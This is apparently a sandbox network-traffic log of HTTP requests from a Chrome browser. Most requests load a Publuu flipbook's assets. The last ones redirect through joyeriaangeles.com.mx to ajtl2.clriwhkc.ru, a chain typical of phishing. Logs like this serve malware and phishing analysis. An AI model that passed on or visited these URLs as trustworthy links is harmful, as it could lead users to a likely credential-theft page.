Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/css/APP-xs.css?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/page-flip-hard.browser.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/css/Menu.css?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/hotspots/Gallery.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Helper.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Logs.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Layout.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh6UVSwiPGQ3q5d0.woff2 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/fonts/lato/v23/S6uyw4BMUTPHjx4wXiWtFCc.woff2 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/fonts/lato/v23/S6u9w4BMUTPHh7USSwiPGQ3q5d0.woff2 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/audio/v1_1.mp3 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/audio/v1_2.ogg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/audio/v1_4.ogg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Page_curl.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Book_curl.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Notes.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/css/Book/xs.css?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /textures/bg_1_1280.webp HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/Ranger.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/next2_1h.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/prev2_1h.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /textures/bg_1_1280.webp HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/css/Ranger/xs.css?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/next2_1h.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/prev2_1h.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_250_blured.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_400.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_800.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_250_blured.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_400.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/link.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: imageReferer: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/css/Book/xs.css?v=1748Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/favicons/favicon-32.png HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /831678/1829815/txt/1829815_1_800.webp HTTP/1.1Host: d1uiew9hysv4w7.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/favicons/favicon-32.png HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/images/link.svg HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logs/831678/1829815/simple HTTP/1.1Host: utty56o2qi.execute-api.us-east-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edu/redirect.html HTTP/1.1Host: joyeriaangeles.com.mxConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /logs/831678/1829815/simple HTTP/1.1Host: utty56o2qi.execute-api.us-east-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: joyeriaangeles.com.mxConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://joyeriaangeles.com.mx/edu/redirect.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o6N2/ HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://joyeriaangeles.com.mx/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
